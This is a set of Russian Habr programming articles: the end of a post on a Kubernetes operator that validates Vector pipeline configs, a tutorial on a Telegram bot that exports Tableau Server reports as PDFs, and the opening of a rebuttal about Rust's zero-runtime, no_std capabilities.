- Бинарный `runtime.RawExtension` мы десериализуем в `map[string]interface{}` - Полученный `map[string]interface{}` мы с помощью mapstructure декодируем в go структуру, причем те ключи, которые совпадают с названиями предопределенных полей, мы переносим в них, для последующей обработки и валидации, а все остальное в поле Options.
Структура самого конфига выглядит так:
```
type VectorConfig struct {
DataDir string `mapstructure:"data_dir"`
Api *vectorv1alpha1.ApiSpec `mapstructure:"api"`
Sources []*Source `mapstructure:"sources"`
Transforms []*Transform `mapstructure:"transforms"`
Sinks []*Sink `mapstructure:"sinks"`
}
type Source struct {
Name string
Type string `mapper:"type"`
ExtraNamespaceLabelSelector string `mapper:"extra_namespace_label_selector,omitempty"`
Options map[string]interface{} `mapstructure:",remain"`
}
type Transform struct {
Name string
Type string `mapper:"type"`
Inputs []string `mapper:"inputs"`
Options map[string]interface{} `mapstructure:",remain"`
}
type Sink struct {
Name string
Type string `mapper:"type"`
Inputs []string `mapper:"inputs"`
Options map[string]interface{} `mapstructure:",remain"`
}
```
Таким образом мы разрешили пользователям создавать CR VectorPipeline (или ClusterVectorPipeline) с любой структурой для sources, transforms и sinks, но не потеряли возможность анализировать, что именно создал пользователь.
Автоматическая проверка генерируемого конфига
---------------------------------------------
**Проблема**
Поскольку мы не контролируем структуру для source, transforms, sink, которые пользователь задает с помощью CR VectorPipeline, - K8s провалидирует абсолютно все, что там написано, даже если эту будет абсолютная белиберда, с которой Vector никогда не запустится.
Например вот такой CR VectorPipeline вполне себе заапрувится Kubernetes API
```
cat <
```
Однако когда оператор попытается из этого сгенерировать конфигурационный файл для Vector’a, тот, несомненно, упадет с ошибкой.
**Решение**
Сгенеренный конфиг проходит два этапа проверки
*Validation* - это проверка области видимоcти. Например, на этапе валидации будут отбрасываться не кластерные vector pipeline, которые пытаются собрать логи из соседних namespace или journald.
*Configcheck* - проверка провалидированного конфига уже самим Vector'ом.
ConfigCheck решает нашу проблему. Каждый раз, когда пользователь создает\обновляет VectorPipeline происходит следующее:
1. Генерируется secret, в который записывается конфигурационные файл Vector’а, который состроит из sources, transforms, sinks, которые описаны в VectorPipeline
2. Запускается pod, в контейнере которого запускается Vector с флагом `validate`.
3. Если pod успешно завершается (то есть валидация конфигурации, заданной в VectorPipeline корректна) в статусе VectorPipeline в поле `ConfigCheckResult` устанавливается значение *true*. Если же под завершился с ошибкой (то есть валидация закончилась с ошибкой) - в поле `ConfigCheckResult` устанавливается *false*.
Далее, когда запустится reconcile самого Vector’а, он будет генерировать для себя конфигурационный файл только их тех VectorPipeline’ов, у которых в поле `ConfigCheckResult` стоит *true*. (Для Vector’а тоже запускается ConfigCheck, и если он завершится с ошибкой - Vector не обновится)
Соответственно таким нехитрым способом мы сделали валидацию для CR VectorPipeline. Причем пользователь, который создает VectorPipeline, может в любой момент посмотреть поле `ConfigCheckResult` и убедиться, что его VectorPipeline - валидный.
**Оговорочка**
Мы не считаем, что такой вариант проверки конфигов “идеален”. Идеально было бы, если ли бы все проверки запускались во время apply/create CR VectorPipeline. Для этого нам нужен грамотный Validate WebHook. Однако сейчас конфигчек исполняется “долго” (в среднем секунд 20). И получается, когда пользователь запускает команду create/apply - консоль “морозится” на ~20 секунд, пока под капотом выполняется ConfigCheck, что выглядит, как обычные “тормоза”.
В будущем у нас есть идеи как ускорить и улучшить этот процесс.
Достаем логи из подов
---------------------
**Проблема**
Как было описано выше, если пользователь создает VectorPipeline с невалидной конфигурацией, тогда в его VectorPipeline появился поле ConfigCheckResult в котором будет написано *false*. Отлично! Но как пользователю узнать что именно в его конфигурации неправильно?
Эта информация доступна в логах pod’а, в котором была запущена валидация конфигурации VectorPipeline, но поды эти создаются в Namespace, где описан Custom Resouce Vector и, соответственно, где развернут сам Vector. Зачастую у пользователя в кластере нет доступа к такому pod’у. Да и не очень красиво, что для того, чтобы узнать, что именно сломано в VectorPipeline - надо знать, что есть где-то какой-то pod, в котором об этом написано.
**Решение**
Было решено в Status VectorPipeline добавить поле Reason, которое появляется, когда ConfigCheckResult в состоянии false.
В этот Reason необходимо запихнуть логи из pod’а, который выполнял валидацию конфига, однако есть загвоздка. [Controller Runtime](https://github.com/kubernetes-sigs/controller-runtime), который используется и в KubeBuilder и в OpenSDK при регистрации оператора, не умеет доставать логи из подов. (На эту тему есть открытый [issue](https://github.com/kubernetes-sigs/controller-runtime) аж с мая 2019 года и расчитывать, что он будет решен в ближайшее время не приходится).
Controller Runtime не умеет, да и черт с ним, зато дефолтный [client-go](https://github.com/kubernetes/client-go) отлично справляется с этой задачей. Регистрируем ClientSet:
```
clientset, err := kubernetes.NewForConfig(config)
if err != nil {
panic(err)
}
```
Описываем функцию для того, чтобы достать логи из Pod’а:
```
func GetPodLogs(pod *corev1.Pod, cs *kubernetes.Clientset) (string, error) {
count := int64(100)
podLogOptions := corev1.PodLogOptions{
TailLines: &count,
}
req := cs.CoreV1().Pods(pod.Namespace).GetLogs(pod.Name, &podLogOptions)
podLogs, err := req.Stream(context.TODO())
if err != nil {
return "", err
}
defer podLogs.Close()
buf := new(bytes.Buffer)
_, err = io.Copy(buf, podLogs)
if err != nil {
return "", err
}
str := buf.String()
return str, nil
}
```
Пользуемся на здоровье.
Из минусов - у нас теперь используются 2 схожих client’а для работы с Kubernetes’ом:
* client.Client (от Controller Runtime)
* kubernetes.ClientSet (от client-go)
Не критично)
Пропуск лишних Reconcile
------------------------
**Проблема**
При каждом старте оператора - он начинает реконсилить все существующие ресурсы (в часности VectorPipeline и ClusterVectorPipeline), и соответственно запускать валидации конфигурационных файлов (генерировать pod’ы/secret’ы) даже, если наши ресурсы не изменились (оператор не может никак определить были ли изменены ресурсы, пока он был выключен, соответственно запускает Reconcile для всего)
**Решение**
Для того, чтобы не запускать кучу лишних ConfigCheck’ов, мы добавили новое поле в Status VectorPipeline - LastAppliedPipelineHash. Сюда записывается Hash Конфигурации, которая была проверена.
Теперь Reconcile VectorPipeline выглядит так:
1. Генерируется конфигурация, которую необходимо проверить.
2. Берется hash этой конфигурации и сравнивается с Hash в поле `LastAppliedPipelineHash`(Если поле заполненно). Если hash’и совпадают - значит эта конфигурация уже была проверена и не нужно повторно запускать процесс ConfigCheck.
В общем на этом все. Если есть что обсудить - жду вас в комментариях. | https://habr.com/ru/post/698960/ | null | ru | null |
# Упрощаем работу с Tableau через Телеграм

Всем привет. Предоставление доступа к готовым отчетам часто является отдельной проблемой. Вопрос удобства и оперативного доступа к результатам обработки данных для руководства во многом определяет судьбу их дальнейшего использования. Система [Tableau](http://www.tableau.com/) (или по-простому Табло) не зря пользуется популярностью для подобных задач, позволяя быстро анализировать данные из многих источников, публиковать онлайн-отчеты на сервере, настраивать автоматические рассылки PDF-версий отчетов и многое другое.
Однако даже когда все настроено, опубликовано и рассылается, коллеги сталкиваются с проблемами:
* регулярные отчеты на почту теряются в потоке рабочих писем и найти нужное не всегда получается сразу.
* как правило, онлайн-доступ к отчетам защищен корпоративным VPN. В некоторых ситуациях это доставляет проблем.
* часто требуется получить отчет, не дожидаясь его регулярной рассылки. Например, план-факт по проекту за текущий месяц может потребоваться в любой день.
* иногда пароль от своей учетки на сервере банально забывается или нужный отчет сложно отыскать среди других 100500 папок и отчетов.
Одним из решений таких проблем является бот Телеграма, который умеет экспортировать PDF-отчеты с сервера Табло по нажатию кнопки и отправлять их пользователю. В данной статье мы посмотрим код и примеры работы самого простого варианта такого бота.
Будем исходить из следующих упрощений:
* Клавиатура бота состоит их названий отчетов, которые он будет отправлять данному пользователю. Наличие вложенных меню в текущем варианте не подразумевается.
* Бот обрабатывает все сообщения независимо друг от друга, т. е. не «запоминает» предыдущих сообщений пользователя.
* Наличие или отсутствие доступа к отчету определяется по параметру chat\_id, назначаемому каждому пользователю при начале работы с ботом (нажатии кнопки START).
* У бота один админ, которому будут приходить заявки на доступ к отчетам.
Для данной статьи использовалась версия Tableau Server 10.1.3, установленная на виртуалке Amazon Web Services: Windows Server 2016 64-bit, RAM 16GB (да, сервер Табло работает только на Windows Server). В качестве экспортируемых отчетов брались примеры из проекта Tableau Samples, по умолчанию устанавливаемых с сервером Табло. Например, такой:

Есть куча прекрасных примеров как в Телеграме создать бота, но можно просто воспользоваться [документацией](https://core.telegram.org/bots#3-how-do-i-create-a-bot). Для работы с API Телеграма используем готовую [питоновскую библиотеку](https://github.com/python-telegram-bot/python-telegram-bot). Используем [Python 2.7 Anaconda](https://www.continuum.io/downloads).
**Б — Безопасность**
Использование Телеграма означает, что мы отправляем отчеты с корпоративного сервера куда-то вовне. Соответственно, нам необходимо вести реестр доступов, чтобы каждый получал только положенные ему отчеты. Причем надо бы добавлять пользователей/прав, не перезапуская скрипт. Выясним chat\_id пользователя при начале работы с ботом и сразу дадим ему необходимые доступы.
При начале работы пользователя с ботом нам необходимо выяснить его chat\_id. Для этого в обработчике команды /start (функция start в коде) отправляем его chat\_id админу бота, который сможет для данного пользователя (т. е. chat\_id) составить клавиатуру с отчетами.
При нажатии кнопки START пользователь Иван Иванов получит сообщение:
Привет, в данный момент у вас нет доступа к отчетам. Ваша заявка принята, в ближайшее время доступ будет предоставлен.
Админ бота получит сообщение:
Заявка на доступ iivanov Иван Иванов 123456789
Для такой процедуры заведем YAML-файл, в котором в разделе users для каждого пользователя составим «клавиатуру» с нужными отчетами. Такой формат потом довольно просто прочитать в скрипте и отправить в Телеграм в виде клавиатуры:
**Конфигурационный файл с доступами для пользователя**
```
users:
123456789:
keyboard:
-
# название кнопки, которое увидит пользователь в чате
- buttonText: 'Global Temperatures'
# название файла, который будет выслан пользователю
reportName: 'Global Temperatures'
# адрес отчета на сервере Табло
report: '/views/Regional/GlobalTemperatures'
# название кнопки, которое увидит пользователь в чате
- buttonText: 'College Admissions'
# название файла, который будет выслан пользователю
reportName: 'College Admissions'
# адрес отчета на сервере Табло
report: '/views/Regional/College'
-
# название кнопки, которое увидит пользователь в чате
- buttonText: 'Regional FlightDelays'
# название файла, который будет выслан пользователю
reportName: 'Regional FlightDelays'
# адрес отчета на сервере Табло
report: '/views/Regional/FlightDelays'
```
В данном варианте клавиатура будет содержать две строки:

Преобразовывать такую запись клавиатуры в формат Телеграма будет специальная функция:
**Формирование клавиатуры для Телеграма**
```
def makeCustomKeyboard( userKeyboard ):
"""
Возвращает клавиатуру в формате Телеграма.
На вход принимает элемент keyboard пользователя из файла privacy.yaml.
"""
custom_keyboard = map( lambda z: [ telegram.KeyboardButton(x['buttonText']) for x in z ], userKeyboard )
return telegram.ReplyKeyboardMarkup(custom_keyboard, resize_keyboard='True')
```
Адрес конфигурационного файла в коде скрипта задается переменной CONFIG\_FILE. Для обновления этих параметров в процессе работы бота используем функцию updateSettings().
Функции обработки команды /start и сообщений будут каждый раз обновлять реестр доступов.
```
def updateSettings():
"""
Возвращает содержимое файла настроек
"""
return load( file( CONFIG_FILE ) )
```
Помимо файла с доступами для работы с сервером Табло нам потребуются следующие параметры:
**Токен бота и настройки сервера**
```
config:
# токен бота
botToken: '111222333:AAO4L0Ttt1tt01-1TtT1t_t22tT'
# расположение файла tabcmd.exe на сервере
tabcmdLocation: 'C:\Program Files\Tableau\Tableau Server\10.1\bin\'
# куда сохраняем экспортируемые отчеты
reportsLocation: 'C:\Users\Administrator\Documents\bot\reports\'
# куда сохраняем логи
logsLocation: 'C:\Users\Administrator\Documents\bot\logs\'
admin:
# на какой chat id отправляются запросы о предоставлении доступа
id: 198765432
```
Все готово, можно определить функцию обработки команды /start. Также нам пригодится функция logs, которая просто записывает в текстовый файл с chat\_id пользователя его действия с ботом. Такой простой вариант в случае ошибки подскажет на какой строчке она произошла.
**Обработка команды /start**
```
def start(bot, update):
"""
Обработка команды /start для бота.
Проверяет есть ли пользователь в списке доступов (файл privacy.yaml, раздел users).
Если есть, то возвращает приветствие и клавиатуру с отчетами. В противном случае отправляет заявку на доступ админу
"""
# chat_id написавшего
chat_id = update.message.chat_id
# текущая версия клавиатуры и отчетов
config = updateSettings()
# проверяем есть ли пользователь в списке доступов
if chat_id in config['users']:
logs(update, 'Received /start command from user in privacy.yaml')
# формируем клавиатуру с отчетами для данного пользователя и отправляем приветствие
reply_markup = makeCustomKeyboard(config['users'][int(chat_id)]['keyboard'])
bot.sendMessage(chat_id=chat_id, text='Привет, вот доступный список отчетов', reply_markup=reply_markup)
logs(update, 'List of available reports sent')
# пользователя нет в файле с доступами
else:
logs(update, 'Received /start command from user NOT IN privacy.yaml')
# отправляем сообщение пользователю
bot.sendMessage(chat_id=chat_id, text='Привет, в данный момент у вас нет доступа к отчетам. ' + \
'Ваша заявка принята, в ближайшее время доступ будет предоставлен')
# отправляем сообщение админу бота о запросе нового пользователя
u = ast.literal_eval(str(update))
bot.sendMessage(chat_id=config['admin']['id'], text='Заявка на доступ ' +
str(u['message']['from']['username'].encode('utf-8')) + ' ' +
str(u['message']['from']['first_name'].encode('utf-8')) + ' ' +
str(u['message']['from']['last_name'].encode('utf-8')) + ' ' +
str(chat_id))
logs(update, 'Request for access sent')
```
Ок, мы отправили пользователю клавиатуру с доступными ему отчетами. Теперь в нашем варианте надо просто сравнивать поступающие сообщения с названиями отчетов в файле доступов privacy.yaml для данного chat\_id. Если полученное сообщение совпадает с одним из отчетов, то отправляем серверу Табло команду на экспорт этого отчета. И затем отправляем сгенерированный отчет пользователю.
Команду на экспорт отчетов с сервера в PDF-формате можно отправлять через командную строку с помощью «get» или «export» ([ссылка](https://onlinehelp.tableau.com/current/server/en-us/tabcmd_cmd.htm) на документацию).
Для этого сначала открываем сессию с сервером Табло (вместо localhost, admin и adminPassword укажите домен сервера Табло, свой логин и пароль):
Перед экспортом «тяжелого» отчета неплохо бы предупредить пользователя:
```
bot.sendMessage(chat_id=chat_id, text='Формирую отчет, пожалуйста подождите...', reply_markup=reply_markup)
executeFile = os.path.join( tabcmdLocation, 'tabcmd.exe' )
subprocess.call([ executeFile, 'login', '-s', 'localhost', '-u', 'admin', '-p', 'adminPassword '])
```
Экспортируем отчет в папку на диске
```
subprocess.call([ executeFile, 'get', reportAddress, '-f', reportsLocation + reportName + '.pdf'])
```
Закрываем сессию на сервере
```
subprocess.call([ executeFile, 'logout'])
```
Осталось только отправить сгенерированный отчет пользователю
```
bot.send_document(chat_id=chat_id, document=open(reportsLocation +
reportName.encode('utf-8') + '.pdf', 'rb'))
```
Проверим как это работает:

Экспортированный с сервера PDF-отчет:

Вот и все, надеюсь данный подход поможет вам упростить доступ к отчетам и повысить эффективность работы. Полная версия кода:
**Конфигурационный файл**
```
users:
123456789:
keyboard:
-
# название кнопки, которое увидит пользователь в чате
- buttonText: 'Global Temperatures'
# название файла, который будет выслан пользователю
reportName: 'Global Temperatures'
# адрес отчета на сервере Табло
report: '/views/Regional/GlobalTemperatures'
# название кнопки, которое увидит пользователь в чате
- buttonText: 'College Admissions'
# название файла, который будет выслан пользователю
reportName: 'College Admissions'
# адрес отчета на сервере Табло
report: '/views/Regional/College'
-
# название кнопки, которое увидит пользователь в чате
- buttonText: 'Regional FlightDelays'
# название файла, который будет выслан пользователю
reportName: 'Regional FlightDelays'
# адрес отчета на сервере Табло
report: '/views/Regional/FlightDelays'
config:
# токен бота
botToken: '111222333:AAO4L0Ttt1tt01-1TtT1t_t22tT'
# расположение файла tabcmd.exe на сервере
tabcmdLocation: 'C:\Program Files\Tableau\Tableau Server\10.1\bin\'
# куда сохраняем экспортируемые отчеты
reportsLocation: 'C:\Users\Administrator\Documents\bot\reports\'
# куда сохраняем логи
logsLocation: 'C:\Users\Administrator\Documents\bot\logs\'
admin:
# на какой chat id отправляются запросы о предоставлении доступа
id: 198765432
```
**Код скрипта**
```
# -*- coding: utf-8 -*-
CONFIG_FILE = r'C:\Users\Administrator\Documents\bot\privacy.yaml'
# библиотека для работы с API Телеграма
import telegram
from telegram.ext import Updater
from telegram.ext import MessageHandler, Filters
from telegram.ext import CommandHandler
import sys
import subprocess
from yaml import load
import ast
import os.path
def updateSettings():
"""
Возвращает содержимое файла настроек
"""
return load( file( CONFIG_FILE ) )
# читаем файл с установками
config = updateSettings()
# токен бота
token = config['config']['botToken']
# расположение файла tabcmd.exe на сервере
tabcmdLocation = config['config']['tabcmdLocation']
# куда сохраняем экспортируемые отчеты
reportsLocation = config['config']['reportsLocation']
# куда сохраняем логи
logsLocation = config['config']['logsLocation']
def makeCustomKeyboard( userKeyboard ):
"""
Возвращает клавиатуру в формате Телеграма.
На вход принимает элемент keyboard пользователя из файла privacy.yaml.
"""
custom_keyboard = map( lambda z: [ telegram.KeyboardButton(x['buttonText']) for x in z ], userKeyboard )
return telegram.ReplyKeyboardMarkup(custom_keyboard, resize_keyboard='True')
def logs(update, comment):
"""
Запись действий скрипта.
Текст comment записывается в папку logs в файл, именованный по chat id пользователя.
"""
u = ast.literal_eval(str(update))
with open( os.path.join(logsLocation, str(update.message.chat_id) + '.txt'), 'a') as f:
f.write( str(u['message']['from']['username'].encode('utf-8')) + '\t' +
str(u['message']['from']['first_name'].encode('utf-8')) + '\t' +
str(u['message']['from']['last_name'].encode('utf-8')) + '\t' +
str(u['message']['text'].encode('utf-8')) + '\t' +
str(comment) + '\n')
def start(bot, update):
"""
Обработка команды /start для бота.
Проверяет есть ли пользователь в списке доступов (файл privacy.yaml, раздел users).
Если есть, то возвращает приветствие и клавиатуру с отчетами. В противном случае отправляет заявку на доступ админу
"""
# chat_id написавшего
chat_id = update.message.chat_id
# текущая версия клавиатуры и отчетов
config = updateSettings()
# проверяем есть ли пользователь в списке доступов
if chat_id in config['users']:
logs(update, 'Received /start command from user in privacy.yaml')
# формируем клавиатуру с отчетами для данного пользователя и отправляем приветствие
reply_markup = makeCustomKeyboard(config['users'][int(chat_id)]['keyboard'])
bot.sendMessage(chat_id=chat_id, text='Привет, вот доступный список отчетов', reply_markup=reply_markup)
logs(update, 'List of available reports sent')
# пользователя нет в файле с доступами
else:
logs(update, 'Received /start command from user NOT IN privacy.yaml')
# отправляем сообщение пользователю
bot.sendMessage(chat_id=chat_id, text='Привет, в данный момент у вас нет доступа к отчетам. ' + \
'Ваша заявка принята, в ближайшее время доступ будет предоставлен')
# отправляем сообщение админу бота о запросе нового пользователя
u = ast.literal_eval(str(update))
bot.sendMessage(chat_id=config['admin']['id'], text='Заявка на доступ ' +
str(u['message']['from']['username'].encode('utf-8')) + ' ' +
str(u['message']['from']['first_name'].encode('utf-8')) + ' ' +
str(u['message']['from']['last_name'].encode('utf-8')) + ' ' +
str(chat_id))
logs(update, 'Request for access sent')
def echo(bot, update):
"""
Обработка всех сообщений боту, кроме команд.
Если пользователь есть в списке отчетов и текст сообщения совпал с кнопкой, то отправляем ему отчет
"""
# chat_id текущего сообщения
chat_id=update.message.chat_id
# текст текущего сообщения
response = update.message.text
# обновляем версию клавиатуры и отчетов
config = updateSettings()
# разрешение на отправку отчетов (отправляется только в случае greenLight = True)
greenLight = False
# проходим по каждой линии клавиатуры для данного пользователя
for line in config['users'][chat_id]['keyboard']:
# проходим по каждой кнопке в линии клавиатуры
for button in line:
if button['buttonText'] == response:
logs(update, 'Menu found, generating current keyboard and reports')
# формируем клавиатуру текущего отчета и генерим отчет
reply_markup = makeCustomKeyboard( config['users'][chat_id]['keyboard'] )
logs(update, 'Current keyboard generated')
# разрешение генерации отчета
greenLight = True
# задаем параметры отчета
reportName = button['reportName']
reportAddress = button['report'] + '?:refresh=yes'
if greenLight:
logs(update, 'Starting to generate report')
# отправляем сообщение о начале генерации отчета (это может занять время)
bot.sendMessage(chat_id=chat_id, text='Формирую отчет, пожалуйста подождите...', reply_markup=reply_markup)
logs(update, 'Message about report generation sent')
# задаем расположение служебного файла сервера Табло
executeFile = os.path.join( tabcmdLocation, 'tabcmd.exe' )
# открываем сессию на сервере
subprocess.call([ executeFile, 'login', '-s', 'localhost', '-u', 'admin', '-p', 'adminPassword'])
# экспортируем отчет в формате PDF
subprocess.call([ executeFile, 'get', reportAddress, '-f', reportsLocation + reportName + '.pdf'])
# закрываем сессию
subprocess.call([ executeFile, 'logout'])
logs(update, 'Report generated, sending document')
# отправляем отчет пользователю
bot.send_document(chat_id=chat_id, document=open(reportsLocation +
reportName.encode('utf-8') + '.pdf', 'rb'))
logs(update, 'Report sent')
elif response == token:
updater.stop()
# в случае, если сообщение не распознано
else:
logs(update, 'Bad message, no access to this report')
# формируем клавиатуру для данного пользователя и отправляем ему уведомление
reply_markup = makeCustomKeyboard(config['users'][chat_id]['keyboard'])
bot.sendMessage(chat_id=chat_id, text='Похоже у вас нет доступа к этому отчету. ' + \
'Пожалуйста, напишите admin@tableau.mycompany.ru запрос на доступ', reply_markup=reply_markup)
logs(update, 'Main menu keyboard sent after bad message')
# запускаем обработчик сообщений бота
updater = Updater(token=token)
dispatcher = updater.dispatcher
updater.start_polling()
# обработка команды /start
start_handler = CommandHandler('start', start)
dispatcher.add_handler(start_handler)
# обработка текстовых сообщений
echo_handler = MessageHandler([Filters.text], echo)
dispatcher.add_handler(echo_handler)
``` | https://habr.com/ru/post/319690/ | null | ru | null |
# Rust должен умереть, МГУ сделал замеры
В предыдущих сериях:
* [Go быстрее Rust, Mail.Ru Group сделала замеры](https://habr.com/ru/post/338268/)
* [C++ быстрее и безопаснее Rust, Yandex сделала замеры](https://habr.com/ru/post/492410/)
Медленно, но верно Раст проникает не только в умы сотрудников больших корпораций, но и в умы школьников и студентов. В этот раз мы поговорим о статье от студента МГУ: <https://rustmustdie.com/>.
Её [репостнул](http://stolyarov.info/node/342) Андрей Викторович Столяров, доцент кафедры алгоритмических языков факультета ВМК МГУ им. М. В. Ломоносова и по совместительству научрук студента-автора статьи.
> Я бы сказал, что тут дело даже не в том, что он "неинтуитивный". Дело скорее в том, что компилятор раста сам решает, когда владение "должно" (с его, компилятора, точки зрения) перейти от одного игрока к другому. А решать это вообще-то должен программист, а не компилятор. Ну и начинается пляска вида "как заставить тупой компайлер сделать то, чего я хочу".
>
> Бред это всё.
>
>
>
> — А. В. Столяров
Сама статья короткая, но постулирует довольно большой список спорных утверждений, а именно:
* Стандартная библиотека неотделима от языка
* У него отсутствует нулевой рантайм
* В Rust встроен сборщик мусора
* Компилятор генерирует медленный машинный код
На самом деле набросов еще больше, но достаточно и этого списка.
К сожалению, для опровержения этих пунктов мне придется писать максимально уродские хэлло ворлды, которые только можно представить.
Содержание
==========
* [Опускаемся на самый низ](#para_1)
+ [Нулевой рантайм в Си](#para_2)
+ [Из чего состоит хэлло ворлд](#para_3)
+ [Отключаем std](#para_4)
+ [Отключаем core](#para_5)
+ [Отключаем crt](#para_6)
* [Пишем хэлло ворлд](#para_7)
+ [Символ \_start](#para_8)
+ [Сисколы](#para_9)
+ [Завершение процесса](#para_10)
+ [Запись в файл](#para_11)
* [Приводим к общему знаменателю](#para_12)
+ [Компилируем gcc и rustc\_codegen\_gcc](#para_13)
+ [Хэлло ворлд на Си под i386](#para_14)
+ [Хэлло ворлд на Расте под i386](#para_15)
+ [Сравнение](#para_16)
* [Выводы](#para_17)
* [Ссылки на код](#para_18)
Опускаемся на самый низ
=======================
Нулевой рантайм в Си
--------------------
Честно говоря, до прочтения статьи я ни разу не встречал такого определения как zero runtime. Немного погуглив, я наткнулся на книгу А. В. Столярова ISBN 978-5-317-06575-7 [Программирование: введение в профессию. II: Системы и сети](http://www.stolyarov.info/books/pdf/progintro_e2v2.pdf), изданной в 2021 году. В главе "§4.12: (\*) Программа на Си без стандартной библиотеки" приводится определение нулевого рантайма и пример программы.
Реализация подпрограммы `_start` (под Linux i386):
**start.asm**
```
global _start ; no_libc/start.asm
extern main
section .text
_start:
mov ecx, [esp] ; argc in ecx
mov eax, esp
add eax, 4 ; argv in eax
push eax
push ecx
call main
add esp, 8 ; clean the stack
mov ebx, eax ; now call _exit
mov eax, 1
int 80h
```
Модуль с "обертками" для системных вызовов:
**calls.asm**
```
global sys_read ; no_libc/calls.asm
global sys_write
global sys_errno
section .text
generic_syscall_3:
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+8]
mov ecx, [ebp+12]
mov edx, [ebp+16]
int 80h
mov edx, eax
and edx, 0fffff000h
cmp edx, 0fffff000h
jnz .okay
mov [sys_errno], eax
mov eax, -1
.okay:
pop ebx
mov esp, ebp
pop ebp
ret
sys_read:
mov eax, 3
jmp generic_syscall_3
sys_write:
mov eax, 4
jmp generic_syscall_3
section .bss
sys_errno resd 1
```
Простенькая программа, которая принимает ровно один параметр командной строки, рассматривает его как имя и здоровается с человеком, чьё имя указано, фразой **Hello, dear NNN** (имя подставляется вместо NNN):
**greet3.c**
```
/* no_libc/greet3.c */
int sys_write(int fd, const void *buf, int size);
static const char dunno[] = "I don't know how to greet you\n";
static const char hello[] = "Hello, dear ";
static int string_length(const char *s)
{
int i = 0;
while(s[i])
i++;
return i;
}
int main(int argc, char **argv)
{
if(argc < 2) {
sys_write(1, dunno, sizeof(dunno)-1);
return 1;
}
sys_write(1, hello, sizeof(hello)-1);
sys_write(1, argv[1], string_length(argv[1]));
sys_write(1, "\n", 1);
return 0;
}
```
И сама сборка:
```
nasm -f elf start.asm
nasm -f elf calls.asm
gcc -m32 -Wall -c greet3.c
ld -melf_i386 start.o calls.o greet3.o -o greet3
```
На машине автора этих строк (Столярова) размер файла составил 816 байт. На моей машине 13472 байта.
Что ж, применим `clang-14`, `ld.lld-14`, `-Os` и `strip`; и на моей машине получилось 1132 байта:
```
nasm -f elf start.asm
nasm -f elf calls.asm
clang-14 -m32 -Os -Wall -c greet3.c
ld.lld-14 -melf_i386 start.o calls.o greet3.o -o greet3
strip ./greet3
```
В своей книге Столяров делает очень сильное утверждение, а именно:
> Но дело даже не в этой экономии (размера исполняемого файла — Прим. авт.)…
>
> Намного важнее сам принцип: **язык Си позволяет полностью отказаться от возможностей стандартной библиотеки**. Кроме Си, таким свойством — абсолютной независимостью от библиотечного кода, также иногда называемым *zero runtime* — обладают на сегодняшний день только языки ассемблеров; ни один язык высокого уровня не предоставляет такой возможности.
Что ж, давайте разберемся, обладает ли Раст таким свойством.
Из чего состоит хэлло ворлд
---------------------------
Рассмотрим базовый пример, приведённый на официальном сайте языка Раст:
```
fn main() {
println!("Hello, world!");
}
```
Так как `println!` — это макрос, а не функция, у нас есть возможность посмотреть на код после раскрытия макроса. Для этого воспользуемся утилитой [cargo-expand](https://lib.rs/crates/cargo-expand):
```
#![feature(prelude_import)]
#[prelude_import]
use std::prelude::rust_2021::*;
#[macro_use]
extern crate std;
fn main() {
{
::std::io::_print(::core::fmt::Arguments::new_v1(
&["Hello, world!\n"],
&match () {
_args => [],
},
));
};
}
```
Компилятор вставил импорт стандартной библиотеки `extern crate std;` и [прелюдию](https://doc.rust-lang.org/stable/std/prelude/index.html) `use std::prelude::rust_2021::*;`. Именно эти неявные вставки я и хотел показать.
Стандартная библиотека — это удобный набор функций, коллекций, структур и типажей в окружении, когда у тебя есть ос, фс, куча, сокеты и прочая хипстота. Считается, что 93.9% программистам именно такое поведение (автоматическое включение std и прелюдии) и требуется.
Весь API стандартной библиотеки подробно описан в [официальной документации](https://doc.rust-lang.org/stable/std/). Есть удобный быстропоиск: `https://std.rs/QUERY`, где `QUERY` — ваш запрос, например <https://std.rs/mutex>.
Отключаем std
-------------
Тем не менее, для остальных 19% программистов предусмотрен режим отключения стандартной библиотеки с помощью атрибута `#![no_std]`.
```
#![no_std]
#![feature(start, lang_items)]
// Говорим компилятору влинковать libc
#[cfg(target_os = "linux")]
#[link(name = "c")]
extern "C" {
// Объявляем внешнюю функцию из libc
fn puts(s: *const u8) -> i32;
}
#[start] // Говорим, что выполнение надо начинать с этого символа
fn main(_argc: isize, _argv: *const *const u8) -> isize {
unsafe {
// В Расте строки не нуль-терминированные
puts("Hello, world!\0".as_ptr());
}
return 0;
}
#[panic_handler] // Удовлетворяем компилятор
fn panic(_panic: &core::panic::PanicInfo<'_>) -> ! {
loop {}
}
#[lang = "eh_personality"] // Удовлетворяем компилятор
extern "C" fn eh_personality() {}
```
Так как здесь и далее код требует нестабильных фич, советую воткнуть в корень проекта [файлик](https://rust-lang.github.io/rustup/overrides.html), который будет управлять версией компилятора:
```
$ cat rust-toolchain.toml
[toolchain]
channel = "nightly-2022-06-09"
```
Если такой версии компилятора на компе нет, то `cargo` вызовет `rustup`, чтобы тот поставил нужную версию. Если такой компилятор есть, то любые действия с `cargo` по компиляции будут использовать указанную в конфиге версию.
А в `Cargo.toml` добавить отключение размотки, все равно она в коде нигде не будет использоваться:
```
[profile.dev]
panic = "abort"
[profile.release]
panic = "abort"
```
Для этого хэлло ворлда `cargo-expand` покажет следующее:
```
#[prelude_import]
use core::prelude::rust_2021::*;
#[macro_use]
extern crate core;
...
```
То есть компилятор неявно вставил импорт библиотеки core (`extern crate core;`) и [прелюдию core](https://doc.rust-lang.org/stable/core/prelude/index.html) (`use core::prelude::rust_2021::*;`).
Ниже представлена сводная таблица, описывающая разницу между `core` и `std`.
| Функциональность | `core` | `std` |
| --- | --- | --- |
| динамическое выделение памяти | нет **\*1** | да |
| коллекции (`Vec`, `HashMap` и т.д.) | нет **\*2** | да |
| доступ к `std` | нет | да |
| доступ к `core` | да | да |
| низкоуровневая разработка | да | нет |
1. да, если используется крейт `alloc` и настроен глобальный аллокатор;
2. да, если коллекции тоже `#![no_std]` и зависят от `core`.
Большинство структур и типажей стандартной библиотеки описываются именно в `core`, а не в `std`:
* Методы примитивов `bool`, `i32`...;
* Типы `Range`, `Option`, `Result`, `Cell`, `RefCell`, `PhantomData`...;
* Типажи `Hash`, `Drop`, `Debug`, `Iterator`, `Future`, `Unpin`...;
* Функции `forget`, `drop`, `swap`...
Отключаем core
--------------
